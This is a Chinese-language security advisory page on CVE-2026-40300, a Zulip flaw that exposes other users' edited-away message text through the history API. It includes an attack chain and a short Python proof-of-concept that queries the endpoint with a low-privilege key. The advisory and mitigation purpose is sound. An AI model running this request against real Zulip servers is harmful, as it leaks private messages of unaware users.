IPBUF安全漏洞报告
English
CVE-2026-40300 CVSS 6.5 中危

CVE-2026-40300 Zulip信息泄露漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-40300
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zulip

相关标签

信息泄露权限绕过ZulipCVE-2026-40300API安全

漏洞概述

Zulip是一款开源团队协作工具。在12.0版本之前,当消息编辑历史可见性策略设置为“moves”时,API接口/api/v1/messages/{id}/history仍会返回完整历史内容。这导致低权限用户可以恢复其他用户已编辑删除的文本内容,造成敏感信息泄露风险。

技术细节

该漏洞源于Zulip服务器端对消息编辑历史访问控制的逻辑缺陷。在特定配置下,尽管`message_edit_history_visibility_policy`被设定为限制查看历史,但`/api/v1/messages/{id}/history`接口未正确执行此策略。攻击者无需管理员权限,仅需普通用户身份。利用方式较为简单,攻击者通过枚举或猜测目标消息的ID,直接向服务器发送GET请求调用该API接口。由于存在水平越权漏洞,系统未能验证请求者是否有权查看该消息的历史记录,直接返回了包含被编辑前原始文本的JSON数据,导致用户隐私信息被非授权获取。

攻击链分析

STEP 1
1. 信息收集
攻击者注册或使用现有的低权限账号,获取目标Zulip服务器的API访问权限,并寻找感兴趣的消息ID。
STEP 2
2. 发起攻击
攻击者构造HTTP GET请求,访问/api/v1/messages/{id}/history接口,参数中包含目标消息ID。
STEP 3
3. 数据泄露
服务器由于未正确校验权限,返回了该消息的历史编辑记录,攻击者从中提取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example.zulipchat.com/api/v1/messages/{message_id}/history" message_id = 12345 # Replace with valid message ID api_key = "LOW_PRIVILEGE_USER_API_KEY" # Attacker's API key # Headers with authentication headers = { "Authorization": f"Bearer {api_key}" } # Send request to retrieve message history response = requests.get(target_url.format(message_id=message_id), headers=headers) if response.status_code == 200: print("[+] Exploit successful! History data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text)

影响范围

Zulip < 12.0

防御指南

临时缓解措施
建议管理员尽快升级至Zulip 12.0或更高版本以修复此漏洞。在无法立即升级的情况下,应限制普通用户对API接口的访问权限,或通过WAF规则拦截对/api/v1/messages/{id}/history的非必要调用,防止敏感信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表